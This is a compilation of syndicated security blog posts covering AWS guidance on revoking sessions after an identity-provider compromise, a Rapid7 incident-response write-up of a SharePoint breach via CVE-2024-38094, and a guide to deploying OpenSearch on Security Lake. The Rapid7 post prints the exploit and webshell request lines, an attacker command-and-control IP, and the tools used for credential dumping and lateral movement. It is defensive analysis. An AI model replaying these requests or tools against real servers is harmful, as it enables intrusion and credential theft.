    3. Regardless of your business continuity tolerance, at a minimum, apply an SCP similar to the following one to your organization root, in order to invalidate sessions and temporary tokens. (Make sure that the value of the aws:TokenIssueTime parameter in the SCP is set to the current date and time and uses the ISO 8601 format.) Consider that this SCP includes any and all sessions and tokens in the organization in its scope, and consider the impact if there are dependencies on sessions or tokens that are not auto-renewing.

      The following example SCP denies all actions, on all resources, for any session authenticating with a token issued before 2024-06-20 21:55:34 UTC..

      {
        "Version": "2012-10-17",
        "Statement": [
          {
              "Sid": "DenySessionBeforeTime",
              "Effect": "Deny",
              "Action": "*",
              "Resource": "*",
              "Condition": {
                "DateLessThan": {
                  "aws:TokenIssueTime": "2024-06-20T21:55:34Z"
              }
            }
          }
        ]
      }

      This blog post explains how to revoke federated users’ active AWS sessions.

  4. Removing the federated access vector: Once you’ve recovered some control over your organization by using the preceding actions, you can mitigate two of the federated access vector scenarios with the same action. If the access vector is a threat actor–created identity store, it is a non-disruptive choice to remove that identity store.

    If instead your identity store was compromised, and this identity store is the primary or sole method for authorization, deleting it from your AWS account could impact your production environments and business continuity.

    1. Deletion of a threat actor–created identity store: This is a permanent action that cannot be undone. User and group data associated with the deleted identity store is permanently removed. This includes user profiles, group memberships, and any other user- or group-related information. Any users or groups that were previously granted access to AWS resources or services through the deleted identity store will lose that access. Any permissions or roles assigned to users or groups from the deleted identity store will be revoked.

      For instructions, see Delete your IAM Identity Center instance.

    2. You should be aware that in this scenario where a third-party IdP is compromised, if the identity store that the third-party IdP is connected to is the sole method for authorization, then deleting the third-party IdP configuration could impact your production environments and business continuity.

    3. Removal of the third-party IdP from your federation configuration: When you remove a third-party IdP from your IAM Identity Center instance, any authentication and authorization flows that were using the third-party IdP for federated access to AWS resources will be disrupted. All user and group data that was previously synchronized from the third-party IdP to IAM Identity Center is removed. Any user profiles, group memberships, and other user- or group-related information from the third-party IdP will no longer be available in IAM Identity Center.

      You can perform the removal of the third-party IdP by changing your identity source in IAM Identity Center from an external IdP to IAM Identity Center itself. For instructions, see Change your identity source in the IAM Identity Center User Guide.

    4. Regardless of your previous decisions, you should make sure that there are no other methods of federation enablement within your environment. There are three other limited methods of federation into AWS. These methods don’t provide account access or privileges like the vectors mentioned earlier, but you should still review for them. One method is with an Amazon Connect instance, as described in this blog post. A second method is through an account instance of IAM Identity Center, as described in this blog post. The third method is to create an identity provider by using IAM within an individual account, which a threat actor can do by using OIDC federation or SAML 2.0 federation (look for the event names CreateOpenIDConnectProvider, CreateSAMLProvider or CreateInstance in your account’s CloudTrail event history to identify whether this has occurred).
    5. If you don’t want to disconnect IAM Identity Center entirely, another option is to remove permission sets that are assigned individually to each member. See this IAM Identity Center guidance for instructions on removing permission sets. Figure 11 depicts how this action appears in the AWS Management Console.

      Figure 12: Permission set removal in IAM Identity Center

      Figure 12: Permission set removal in IAM Identity Center

    6. At an even less disruptive level, you can remove the policies attached to the permission sets within IAM Identity Center, using the following steps:
      1. Open the IAM Identity Center console.
      2. Under Multi-account permissions, choose Permission sets.
      3. In the table on the Permission sets page, select the permission set from which you wish to detach the policies.
      4. On the Permissions tab, select the policies you wish to detach, then choose Detach. A pop-up window will appear (see Figure 12). Choose Detach once more to confirm the detachment of the policy from the permission set.

        Figure 13: Managed policy removal from a permission set

        Figure 13: Managed policy removal from a permission set

Eradication

Regardless of what methods you chose for containment, you want to eradicate the threat actor’s persistent access vectors. The following list outlines the actions that customers can take to perform eradication in their environments:

  1. Identify and methodically remove any additional forms of access or persistence within your accounts which you did not create or authorize. Generate an IAM credential report for each account and review the results for forms of access to remove.
  2. If IAM Access Analyzer is enabled, review Access Analyzer for any externally shared resources. During this process, at a minimum, make sure that all static access keys in all accounts are revoked. Also make sure that all IAM users which had static access keys have an inline policy applied that denies access based on the aws:TokenIssueTime, where the value of the aws:TokenIssueTime parameter is set to the current time using the ISO 8601 format.

  3. Make sure that all non-service-linked roles have their sessions revoked. It isn’t possible to revoke sessions of service-linked roles. Revoking sessions for each role invalidates any credentials a threat actor might have obtained by previously assuming the role. (For instructions on how to perform this programmatically in your account, see the section titled Revoking session permissions before a specified time in the topic Revoking IAM role temporary security credentials.)
  4. Make sure that you have control of root users for all remaining AWS accounts. As described previously, the results from the IAM credential report will help you quickly identify any unknown MFA devices or access keys. This item is third in this list because it might be a long process if you’ve lost control of the root users. Remember that as long as you have an appropriate SCP applied, actions by the organization member account root users are blocked.

    Figure 14: IAM Credential Report sample

    Figure 14: IAM Credential Report sample

    We can see in Figure 13 that the root account user does not have an MFA device assigned.

  5. Before you begin to delete, stop, or terminate workloads, consider taking the opportunity to isolate and perform forensics on any threat actor–created or modified resources and workloads. Although forensics on AWS is beyond the scope of this post, it is described in the AWS Security Incident Response Guide.

Conclusion

The sections in this post can help you mitigate, detect, and prepare to respond to events of this type where threat actors leverage specific customer configurations or designs.

Being aware of the tactics used by threat actors, developing and testing an incident response plan, and performing simulations such as tabletop exercises to practice your response are great ways to improve your security posture and practice.

As always, you should measure the guidance provided here against your own security policies and procedures, and should take the business requirements of your organization into consideration.

Additionally, you may want to check your environment to confirm the following:

  • You have removed or limited long-term access key usage.
  • You have deployed SCPs that prevent unauthorized manipulation of GuardDuty and prevent unauthorized addition of IdPs.
  • You have created or updated playbooks that incorporate incident response actions that were performed to recover from the compromise of your IdP.
  • You have reviewed permissions to verify that your identities adhere to the principle of least privilege. (This blog post provides further information on how to limit permissions.)

Finally, if you want to learn how you can detect and respond to other types of security issues, such as unauthorized IAM credential use, ransomware on Amazon Simple Storage Service (Amazon S3), and cryptomining, head on over to the AWS CIRT publicly available workshops. (You will need an AWS account to use the workshops.)

Thanks for reading, and stay secure!

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Steve de Vera

Steve de Vera

Steve is a manager in the AWS CIRT (Customer Incident Response Team). He is passionate about American-style BBQ and is a certified competition BBQ judge. He has a dog named Brisket.

Mike Saintcross

Mike Saintcross

Mike is a Senior Security Consultant at AWS helping customers achieve their cloud security goals. Mike loves anything with two wheels and a clutch, but especially dirtbikes and supersports.

Investigating a SharePoint Compromise: IR Tales from the Field

Post Syndicated from Rapid7 original https://blog.rapid7.com/2024/10/30/investigating-a-sharepoint-compromise-ir-tales-from-the-field/

Executive summary

Investigating a SharePoint Compromise: IR Tales from the Field

Rapid7’s Incident Response team recently investigated a Microsoft Exchange service account with domain administrator privileges. Our investigation uncovered an attacker who accessed a server without authorization and moved laterally across the network, compromising the entire domain. The attacker remained undetected for two weeks. Rapid7 determined the initial access vector to be the exploitation of a vulnerability, CVE 2024-38094, within the on-premise SharePoint server.

Exploitation for initial access has been a common theme in 2024, often requiring security tooling and efficient response procedures to avoid major impact. The attacker’s tactics, techniques, and procedures (TTPs) are showcased in this blog, along with some twists and turns we encountered when handling the investigation.

Observed attacker behavior

Rapid7 began exploring suspicious activity that involved process executions tied to a Microsoft Exchange service account. This involved the service account installing the Horoung Antivirus (AV) software, which was not an authorized software in the environment. For context, Horoung Antivirus is a popular AV software in China that can be installed from Microsoft Store. Most notably, the installation of Horoung caused a conflict with active security products on the system. This resulted in a crash of these services. Stopping the system’s current security solutions allowed the attacker freedom to pursue follow-on objectives thus relating this malicious activity to Impairing Defenses (T1562).

Zooming out from the specific event to look at the surrounding activity paints a clear picture of the attacker’s intended goal. Shortly before installing Horoung AV, the attacker used Python to install Impacket from GitHub and then attempted to execute it. Impacket is a collection of open-source Python scripts to interact with network protocols, typically utilized to facilitate lateral movement and other post-exploitation objectives. The system’s security tooling blocked the Impacket execution, which led to the download via browser and installation of this AV product to circumvent defenses.

As with many incident response investigations, identified clues are not always chronological, thus requiring a timeline to be constructed to understand the narrative. We must attempt to discover how the attacker compromised the system or accessed the environment in the first place. In this specific investigation, the attacker had a dwell time of two weeks. The attacker’s actions are detailed chronologically in the figure below.

Investigating a SharePoint Compromise: IR Tales from the Field
Figure 1: MITRE Timeline

A great resource for identifying lateral movement involves analysis of authentication event logs from the domain controllers, specifically event ID 4624. Evidence indicated that malicious activity for this compromised Exchange service account involved more than just this single system. The source of unauthorized activity went back a week prior on a domain controller.

Analysis of the domain controller revealed that the attacker used this Exchange service account to authenticate via Remote Desktop Protocol (RDP). The attacker went on to disable Windows Defender Threat Detection (WDTD) on the system and added an exclusion for a malicious binary called msvrp.exe using the GUI. The malicious binary was placed in the C:\ProgramData\VMware\ folder but was not related to VMware. This binary is a tool called Fast Reverse Proxy (FRP), which allows external access to the system through a NAT-configured firewall. The FRP tool requires an .ini file to provide the necessary network configuration to establish an outbound connection. The .ini file’s external IP address has been provided in the Indicators of Compromise (IoCs) table in this blog post. Persistence was established for the FRP via scheduled tasks on the domain controller. Review of the C:\ProgramData\VMware\ folder used by the attacker revealed additional malicious binaries such as ADExplorer64.exe, NTDSUtil.exe, and nxc.exe. These tools were utilized to map the Active Directory environment, gather credentials, and scan systems.

Further analysis of authentication events from the domain controller indicated this malicious activity was sourced from a public-facing SharePoint server. Evidence indicated that the attacker executed Mimikatz, and there were signs of log tampering on the SharePoint server. It also indicated that a majority of system logging was disabled, and several key event log sources were absent during the investigation timeframe. Mimikatz has the ability to clear event logs and disable system logging. These malicious executions were tied to the local administrator account on the system. This would provide the necessary privileges for log tampering on the SharePoint server. However, some logs were spared, such as RDP log evidence. This indicated all authentication for the local administrator account was sourced from the local system to the local system during the in-scope time frame. The authentication information indicated that the potential initial access vector (IAV) would be tied to this SharePoint server. In light of this evidence, Rapid7 dug deeper into potential exploitation of the SharePoint services for an answer.

Rapid7 reviewed available SharePoint inetpub logs and identified the following GET and POST requests indicative of CVE-2024-38094 being exploited from the external IP address 18.195.61[.]200.

POST /_vti_bin/client.svc/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataC atalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm 
			
POST /_vti_bin/DelveApi.ashx/config/ghostfile93.aspx 

This vulnerability allows for remote code execution (RCE) on systems running Microsoft SharePoint from an external source. The proof-of-concept (PoC) code identified here was observed in available SharePoint log evidence. A great resource that explains the PoC code on Github can be found here. Utilizing this vulnerability, the attacker dropped a webshell on the system. The webshell was called ghostfile93.aspx, which generated numerous HTTP POST requests from the same external IP address tied to the exploit string within log evidence. After several hours of using the webshell, the attacker authenticated into the system using the local administrator account.

Initial access occurred two weeks prior to the start of the investigation. The attacker performed other notable TTPs during the dwell time. These TTPs involved utilizing several binaries to include everything.exe, kerbrute_windows_amd64.exe, 66.exe, Certify.exe, and attempts to destroy third-party backups. The binary everything.exe can index the NTFS file system for efficient searching across files, such as recently used files and network shares. Some of the most notable binaries include 66.exe, a renamed version of Mimikatz, and Certify.exe, which creates an ADFS certificate to utilize for elevated actions within the Active Directory environment. The remaining binary kerbrute_windows_amd64.exe has extensive capability for brute-forcing Active Directory Kerberos tickets. The attacker failed to compromise the third-party backup solution but attempted multiple methods, including access via the browser using compromised credentials and connecting over SSH.

As discussed previously, the installation of external AV products to disable security tooling was an interesting TTP identified during this investigation. Shortly after being blocked for attempted Impacket execution, Rapid7 identified the attacker leveraging an installation batch script called hrsword install.bat. The contents of this script indicate that the Huorong AntiVirus (AV) security solution was being installed. This script involved a service creation called sysdiag to execute the driver file sysdiag_win10.sys, which creates a VBS script execution parameter to execute HRSword.exe. Rapid7 observed this installation causing errors for security products on the system, potentially leading to a scenario in which the service or application would crash. These install files and all IOCs identified during this investigation have been provided in the IOC table contained within this blog.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to the Microsoft SharePoint CVE-2024-38094 with authenticated vulnerability checks added in the July 09, 2024 content release.

Rapid7 used Velociraptor during this investigation to allow for remote triage and collection of forensic artifacts on the endpoint. A Velociraptor artifact has been created to hunt for strings related to the public PoC and log evidence identified during the investigation. The artifact can be found within the Rapid7 Labs VQL Repo here

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to exploitation of this vulnerability.
Suspicious Commands Launched by Webserver
IIS Launching Discovery Commands
IIS Spawns PowerShell
Attacker Tool – Impacket
Attacker Tool – MimiKatz
Attacker Technique – Hash Dumping With NTDSUtil
Attacker Technique – Clearing Event Logs
Defense Evasion – Disabling Multiple Security or Backup Products

Rapid7 also recommends ensuring that SharePoint is patched to the latest version.

MITRE ATT&CK techniques

Tactic Technique Details
Initial Access Exploit Public-Facing Application (T1190) CVE-2024-38094: Microsoft SharePoint Remote Code Execution Vulnerability
Defense Evasion Impair Defense (T1562) AV solution being utilized to disable or degrade security tools on systems.
Discovery Account Discovery (T1087) Usage of AD enumeration tools
Command and Control Proxy (T1090) Fast Reverse Proxy being used to establish outbound connection
Discovery File and Directory Discovery (T1083) Everything.exe being observed on in-scope systems.
Discovery Network Share Discovery (T1135) nxc.exe being observed on in-scope systems.
Credential Access OS Credential Dumping (T1003) Various credential harvesting tools observed on in-scope systems
Persistence Scheduled Task/Job (T1053) Scheduled tasks observed on in-scope systems to execute the FRP tool.

Indicators of Compromise

Attribute Value Description
Filename and Path c:\users\Redacted\documents\everything-1.4.1.1024.x86\everything.exe Binary to locate files
SHA256 d3a6ed07bd3b52c62411132d060560f9c0c88ce183851f16b632a99b4d4e7581 Hash for everything.exe
Filename and Path c:\programdata\vmware\66.exe Renamed mimikatz.exe
SHA256 61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1 Hash for mimikatz.exe
Filename and Path c:\programdata\vmware\certify.exe Creates an ADFS certificate to utilize for elevated actions within the Active Directory environment.
SHA256 95cc0b082fcfc366a7de8030a6325c099d8012533a3234edbdf555df082413c7 Hash for certify.exe
Filename and Path c:\programdata\vmware\kerbrute_windows_amd64.exe Used to perform Kerberos pre-auth brute forcing.
SHA256 d18aa84b7bf0efde9c6b5db2a38ab1ec9484c59c5284c0bd080f5197bf9388b0 Hash for kerbrute_windows_amd64.exe
Filename and Path c:\programdata\vmware\msvrp.exe Fast Reverse Proxy tool for allowing external access to the system through a NAT configured firewall.
SHA256 f618b09c0908119399d14f80fc868b002b987006f7c76adbcec1ac11b9208940 Hash for msvrp.exe
Filename and Path c:\programdata\vmware\nxc.exe Newer version of the CrackMapExec Network Pentesting tool.
SHA256 95cc0b082fcfc366a7de8030a6325c099d8012533a3234edbdf555df082413c7 Hash for nxc.exe
Filename and Path c:\programdata\vmware\adexplorer64.exe Active Directory Enumeration Tool
SHA256 e451287843b3927c6046eaabd3e22b929bc1f445eec23a73b1398b115d02e4fb Hash for adexplorer64.exe
Filename and Path c:\users\Redacted\documents\h\hrsword install.bat Component of Huorong AV
SHA256 1beec8cecd28fdf9f7e0fc5fb9226b360934086ded84f69e3d542d1362e3fdf3 Hash for hrsword install.bat
Filename and Path c:\users\Redacted\documents\h\hrsword.exe Component of Huorong AV
SHA256 6ce228240458563d73c1c3cbbd04ef15cb7c5badacc78ce331848f5431b406cc Hash for hrsword.exe
Filename and Path c:\Windows\System32\drivers\sysdiag_win10.sys System driver component of Huorong AV
SHA256 acb5de5a69c06b7501f86c0522d10fefa9c34776c7535e937e946c6abfc9bbc6 Hash for sysdiag_win10.sys
Log-Based IOC POST /_vti_bin/client.svc/web/GetFolderByServerRelativeUrl(‘/BusinessDataMetadataC atalog/’)/Files/add(url=’/BusinessDataMetadataCatalog/BDCMetadata.bdcm POC code identified in SharePoint logs.
Log-Based IOC POST /_vti_bin/DelveApi.ashx/config/ghostfile93.aspx Webshell identified within SharePoint logs.
IP Address 54.255.89[.]118 IP address from .ini file for Fast Reverse Proxy tool
IP Address 18.195.61[.]200 Source IP address from exploitation and webshell communications

How to deploy an Amazon OpenSearch cluster to ingest logs from Amazon Security Lake

Post Syndicated from Kevin Low original https://aws.amazon.com/blogs/security/how-to-deploy-an-amazon-opensearch-cluster-to-ingest-logs-from-amazon-security-lake/

January 30, 2025: This post was republished to make the instructions clearer and compatible with OCSF 1.1.


Customers often require multiple log sources across their AWS environment to empower their teams to respond and investigate security events. In part one of this two-part blog post, I show you how you can use Amazon OpenSearch Service to ingest logs collected by Amazon Security Lake to facilitate near real-time monitoring.

Many customers use Security Lake to automatically centralize security data from Amazon Web Services (AWS) environments, software as a service (SaaS) providers, on-premises workloads, and cloud sources into a purpose-built data lake in their AWS environment. OpenSearch Service is a managed service that customers can use to deploy, operate, and scale OpenSearch clusters in the AWS Cloud. It natively integrates with Security Lake to enable customers to perform interactive log analytics and searches across large datasets, create enterprise visualization and dashboards, and perform analysis across disparate applications and logs. With Amazon OpenSearch Security Analytics, customers can also gain visibility into the security posture of their organization’s infrastructure, monitor for anomalous activity, detect potential security threats in near real time, and initiate alerts to pre-configured destinations.

Without using Amazon OpenSearch Service, customers would need to build, deploy and manage infrastructure for an analytics solution, such as an ELK stack.

Prerequisites

Security Lake should already be deployed. For details on how to deploy Security Lake, see Getting started with Amazon Security Lake. You will need AWS Identity and Access Management (IAM) permissions to manage Security Lake, OpenSearch Service, Amazon Cognito, AWS Secrets Manager, and Amazon Elastic Compute Cloud (Amazon EC2), and to create IAM roles to follow along with this post. The solution can be deployed in any AWS Region that has at least 3 Availability Zones, supports Security Lake, OpenSearch, and OpenSearch Ingestion.

Solution overview

The architecture diagram in Figure 1 shows the completed architecture of the solution.

  1. The OpenSearch Service cluster is deployed within a virtual private cloud (VPC) across three Availability Zones for high availability.
  2. The OpenSearch Service cluster ingests logs from Security Lake using an OpenSearch Ingestion pipeline.
  3. The cluster is accessed by end users through a public-facing proxy hosted on an Amazon EC2 instance.
    1. To reduce costs, the template doesn’t deploy a dead letter queue (DLQ) for the OpenSearch Ingestion pipeline. You can add one later if you want.
    2. Instead of a public facing proxy, you can deploy a VPN to access your cluster.
  4. Authentication to the cluster is managed with Amazon Cognito.

Figure 1: Solution architecture

Figure 1: Solution architecture

Planning the deployment

This section will help you plan your OpenSearch service deployment, including what nodes you should choose, the amount of storage to allocate, and where to deploy the cluster.

Deciding instances for the OpenSearch Service master and data nodes

First, determine what instance type to use for the master and data nodes. If your workload generates less than 100 GB of Security Lake logs per day, we recommend using three m6g.large.search master nodes and three r6g.large.search data nodes. You can start small and scale up or scale out later. For more information about deciding the size and number of instances, see Get started with Amazon OpenSearch Service. Note the instance types that you have selected on a text editor because you will use this as an input for the AWS CloudFormation template that you will deploy later.

Configuring storage

To optimize your storage costs, you need to plan your data strategy. In this architecture, Security Lake is used for long-term log storage. Because Security Lake uses Amazon Simple Storage Service (Amazon S3), you can optimize long-term storage costs. You can configure OpenSearch Service to ingest priority logs based on the recent data that you can use for near-real time detection and alerting. Your team can query logs in Security Lake using its Zero-ETL integration with OpenSearch Service to analyze older logs.

Therefore, Security Lake should serve as your primary long-term log storage, with OpenSearch Service storing only the most recent logs.

The number of days of logs in OpenSearch Service will depend on how many days’ worth of data you need to investigate at a given time. I recommend storing 15 days of data in OpenSearch Service. This allows you to react to and investigate the most immediate security events while optimizing storage costs for older logs.

The next step is to determine the volume of logs generated by Security Lake.

  1. Sign in to the Security Lake delegated administrator account.
  2. Go to the AWS Management Console for Security Lake. Choose Usage in the navigation pane.
  3. On the Usage screen, select Last 30 days as the range of usage.
  4. Add the total Actual usage for the last 30 days for the data sources that you intend to send to OpenSearch. If you have used Security Lake for less than 30 days, you can use the Total predicted usage per month. Divide this figure by 30 to get the daily data volume.

Figure 2: Select range of usage

Figure 2: Select range of usage

To determine the total storage needed, multiply the data generated by Security Lake per day by the retention period you chose, then by 1.1 to account for the indexes, then multiply that number by 1.15 for overhead storage. For more information about calculating storage, see Get started with Amazon OpenSearch Service.

To determine the amount of Amazon Elastic Block Store (Amazon EBS) storage that you need per node, take the total amount of storage and divide it by the number of nodes that you have. Round that number up to the nearest whole number. You can increase the amount of storage after deployment when you have a better understanding of your workload. Make a note of this number in a text editor because you’ll use it as an input in the CloudFormation template later.

Example 1: 10 GB of Security Lake logs generated per day, stored for 30 days in OpenSearch Service in three nodes

  • 10 GB of Security Lake logs stored for 30 days = 10 GB * 30 = 300 GB
  • Account for additional space for indexes and overhead space = 300 GB * 1.1 * 1.15 = 379.5 GB
  • Divide the storage required across three nodes, rounded up = 379.5/3 ≈ 127 GB per node
  • You would need 127 GB per node in OpenSearch Service

Example 2: 200 GB of Security Lake logs generated per day, stored for 15 days in OpenSearch Service across six nodes

  • 200 GB of Security Lake logs stored for 15 days = 200 GB * 15 = 3000 GB
  • Account for additional space for indexes and overhead space = 3000 GB * 1.1 * 1.15 = 3795 GB
  • Divide the storage required across three nodes, rounded up = 3795/6 ≈ 633 GB per node
  • You would need 633 GB per node in OpenSearch Service

Where to deploy the cluster?

If you have an AWS Control Tower deployment or have a deployment modelled after the AWS Security Reference Architecture (AWS SRA), Security Lake should be deployed in the Log Archive account. Because security best practices recommend that the Log Archive account should not be frequently accessed, the OpenSearch Service cluster should be deployed into your Audit account or Security Tooling account.

You need to deploy your Security Lake subscriber in the same Region as your Security Lake roll-up Region. If you have more than one roll-up Region, choose the Region that collects logs from the Regions you want to monitor.

Your cluster needs to be deployed in the same Region as your Security Lake subscriber be able to access data.

Setting up the Security Lake subscriber

Before deploying the solution, create a Security Lake subscriber in your Security Lake roll-up Region so that OpenSearch Service can access data from Amazon Security Lake.

  1. Access the Security Lake console in your Log Archive account.
  2. Choose Subscribers in the navigation pane.
  3. Choose Create subscriber.
  4. On the Create subscriber page, enter a name, such as OpenSearch-subscriber.
  5. Under Data Access, select Under S3 notification type, select SQS queue.
  6. Under Subscriber credentials, enter the AWS account ID for the account you plan to deploy the OpenSearch cluster to, which should be your Security Tooling
  7. Enter OpenSearchIngestion-<AWS account ID> under External ID.

    Figure 3: Configuring the Security Lake subscriber

    Figure 3: Configuring the Security Lake subscriber

  8. Leave All log and event sources selected and choose Create.

After the subscriber has been created, you will need to collect information to facilitate the deployment.

To gather necessary information:

  1. Select the subscriber that you just created.
  2. Derive the S3 bucket name from the S3 bucket ARN and store it in a text editor. The Amazon Resource Name (ARN) is formatted as arn:aws:s3:::<bucket name>. The bucket name should look like aws-security-data-lake-<region>-xxxxx.

    Figure 4: Derive the S3 bucket name from the Subscriber details page

    Figure 4: Derive the S3 bucket name from the Subscriber details page

  3. Go to the Amazon Simple Queue Service (Amazon SQS) console and select the SQS queue created as part of the Security Lake subscriber. It should look like AmazonSecurityLake-xxxxxxxxx-Main-Queue. Note the queue’s ARN and URL in your text editor.

    Figure 5: Relevant details from the SQS queue

    Figure 5: Relevant details from the SQS queue

Deploy the solution

To deploy the solution in your Security Tooling account, use a CloudFormation template. This template deploys the OpenSearch Service cluster, OpenSearch Ingestion pipeline, and an AWS Lambda function to initialize the cluster.

To deploy the OpenSearch cluster:

  1. To deploy the CloudFormation template that builds the OpenSearch service cluster, select the Launch Stack button.

    Select this image to open a link that starts building the CloudFormation stack

  2. In the CloudFormation console, make sure that you are in the correct AWS account. You should be in your Security Tooling account. Also make sure that you have selected the same Region as your Security Lake subscriber.
  3. Enter a name for your stack. A name like os-stack-<day>-<month> can help you keep track of deployments.
  4. Enter the instance types and Amazon EBS volume size that you noted earlier.
  5. Enter the IP address range that you want to allow to access the proxy’s security group. You should limit this to your corporate IP range. You can set it as 0.0.0/0 if you want to expose it to the public internet.
  6. Fill in the details of the Security Lake bucket and the subscriber Amazon SQS queue ARN, URL, and Region.

    Figure 6: Add stack parameters

    Figure 6: Add stack parameters

  7. Check the acknowledgements in the Capabilities section.
  8. Choose Create stack to begin deploying the resources.
  9. It will take 20–30 minutes to deploy the multiple nested templates. Wait for the main stack (not the nested ones) to achieve the CREATE_COMPLETE status before proceeding to the next step.

    Note: If you encounter failures while deployment, you can download the CloudFormation file here and select Preserve successfully provisioned resources under Stack failure options while deploying. This will allow you to troubleshoot the stack deployment.

  10. Go to the Outputs pane of the main CloudFormation stack. Save the DashboardsProxyURL, OpenSearchInitRoleARN, and PipelineRole values in a text editor to refer to later.

    Figure 7: The stacks in the CREATE_COMPLETE state with the outputs panel shown

    Figure 7: The stacks in the CREATE_COMPLETE state with the outputs panel shown

  11. Open the DashboardsProxyURL value in a new tab.

    Note: Because the proxy relies on a self-signed certificate, you will get an insecure certificate warning. You can safely ignore this warning and proceed. For a production workload, you should issue a trusted private certificate from your internal public key infrastructure or use AWS Private Certificate Authority.

  12. You will be presented with the Amazon Cognito sign-in page. Use administrator as the username.
  13. Access Secrets Manager to find the password. Select the secret that was created as part of the stack.

    Figure 9: Retrieve the secret value

    Figure 8: The Cognito password in Secrets Manager

  14. Choose Retrieve secret value to get the password.

    Figure 9: Retrieve the secret value

    Figure 9: Retrieve the secret value

  15. After signing in, you will be prompted to change your password and will be redirected to the OpenSearch dashboard.
  16. If you see a pop-up that states Start by adding your own data, select Explore on my own. On the next page, Introducing new OpenSearch Dashboards look & feel, choose Dismiss.
  17. If you see a pop-up that states Select your tenant, select Global, and then choose Confirm.

    Figure 10: Select and confirm your tenant

    Figure 10: Select and confirm your tenant

To initialize the OpenSearch cluster:

  1. Choose the menu icon (three stacked horizontal lines) on the top left and select Security under the Management section.

    Figure 11: Navigating to the Security page in the OpenSearch console

    Figure 11: Navigating to the Security page in the OpenSearch console

  2. Select Roles. On the Roles page, search for the all_access role and select it.
  3. Select Mapped users, and then select Manage mapping.
  4. On the Map user screen, choose Add another backend role. Paste the value for the OpenSearchInitRoleARN from the list of CloudFormation outputs. Choose Map.

    Figure 12: Mapping the role on the Security page in the OpenSearch console

    Figure 12: Mapping the role on the Security page in the OpenSearch console

  5. Leave this tab open and return to the AWS Management console. Go to the AWS Lambda console and select the function named xxxxxx-OS_INIT.
  6. In the function screen, choose Test, and then Create new test event.

    Figure 13: Creating the test event in the Lambda console

    Figure 13: Creating the test event in the Lambda console

  7. Choose Invoke. The function should run for about 30 seconds. The execution results should show the component templates that have been created. This Lambda function creates the component and index templates to ingest Open Cybersecurity Framework (OCSF) formatted data, a set of indices and aliases that correspond with the OCSF classes generated by Security Lake, and a rollover policy that will rollover the index daily or if it becomes larger than 40 GB.

    Figure 14: Invoking the Lambda function in the Lambda console

    Figure 14: Invoking the Lambda function in the Lambda console

To set up the pipeline

  1. Return to the Map user page on the OpenSearch console.
  2. Choose Add another backend role. Paste the value of the PipelineRole from the CloudFormation template output. Choose This will allow the OpenSearch Ingestion to write to the cluster.

    Figure 15: Mapping the OpenSearch Ingestion role

    Figure 15: Mapping the OpenSearch Ingestion role

  3. Access the Amazon S3 console in the Log Archive account where Security Lake is hosted.
  4. Select the Security Lake bucket in your roll-up Region. It should look like aws-security-data-lake-region-xxxxxxxxxx.
  5. Choose Permissions, then Edit under Bucket policy.
  6. Add this policy to the end of the existing bucket policy. Replace the Principal with the ARN of the PipelineRole and the name of your Security Lake bucket in the Resource section.
    {
                "Sid": "Cross Account Permissions",
                "Effect": "Allow",
                "Principal": {
                    "AWS": "<Pipeline role ARN>"
                },
                "Action": "s3:*",
                "Resource": [
                    "arn:aws:s3:::<Security Lake bucket name>/*",
                    "arn:aws:s3:::<Security Lake bucket name>"
                ]
            }

    Figure 16: The modified S3 bucket access policy

    Figure 16: The modified S3 bucket access policy

  7. Choose Save changes.

To upload the index patterns and dashboards

  1. Download the Security-lake-objects.ndjson file by right-clicking on this link and selecting Save link as.
  2. Access the Dashboards Management page through the navigation menu.
  3. Choose Saved objects in the navigation pane.
  4. On the Saved Objects page, choose Import on the right side of the screen.

    Figure 17: Import saved objects

    Figure 17: Import saved objects

  5. Choose Import and select the Security-lake-objects.ndjson file that you downloaded previously.
  6. Leave Create new objects with unique IDs selected and choose Import.
  7. You can now view the ingested logs on the Discover page and visualizations on the Dashboards page, which you can find on the navigation bar.

    Figure 18: The Discover page displaying ingested logs

    Figure 18: The Discover page displaying ingested logs

Clean up

To avoid unwanted charges, delete the main CloudFormation template, named os-stack-<day>-<month> (not the nested stacks).

Figure 19: Select the main stack in the CloudFormation console

Figure 19: Select the main stack in the CloudFormation console

Modify the Security Lake bucket policy in the logging account to remove the section you added that trusted the PipelineRole. Be careful not to modify the rest of the policy because it could impact the functioning of Security Lake and other subscribers.

Figure 20: The S3 bucket policy with the relevant sections that needed to be deleted

Figure 20: The S3 bucket policy with the relevant sections that needed to be deleted

Conclusion

In this post, you learned how to plan an OpenSearch deployment with Amazon OpenSearch Service to ingest logs from Amazon Security Lake. With this solution, you’re able to aggregate and manage logs with Security Lake and visualize and monitor those logs with OpenSearch Service. After deployment, monitor the OpenSearch Service metrics to determine if you need to scale this up or out for improved performance. In part 2, I will show you how to set up the Security Analytics detector to generate alerts to security findings in near-real time.

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.
 

Kevin Low
Kevin Low

Kevin is a Security Solutions Architect at AWS who helps the largest customers across ASEAN build securely. He specializes in threat detection and incident response and is passionate about integrating resilience and security. Outside of work, he loves spending time with his wife and dog, a poodle called Noodle.

Accelerate incident response with Amazon Security Lake – Part 2

Post Syndicated from Frank Phillis original https://aws.amazon.com/blogs/security/accelerate-incident-response-with-amazon-security-lake-part-2/

This blog post is the second of a two-part series where we show you how to respond to a specific incident by using Amazon Security Lake as the primary data source to accelerate incident response workflow. The workflow is described in the Unintended Data Access in Amazon S3 incident response playbook, published in the AWS incident response playbooks repository.

The first post in this series outlined prerequisite information and provided steps for setting up Security Lake. The post also highlighted how Security Lake can add value to your incident response capabilities and how that aligns with the National Institute of Standards and Technology (NIST) SP 800-61 Computer Security Incident Handling Guide. We demonstrated how you can set up Security Lake and related services in alignment with the AWS Security Reference Architecture (AWS SRA).

The following diagram shows the service architecture that we configured in the previous post. The highlighted services (Amazon Macie, Amazon GuardDuty, AWS CloudTrail, AWS Security Hub, Amazon Security Lake, Amazon Athena, and AWS Organizations) are relevant to the example referenced in this post, which focuses upon the phases of incident response outlined in NIST SP 800-61.

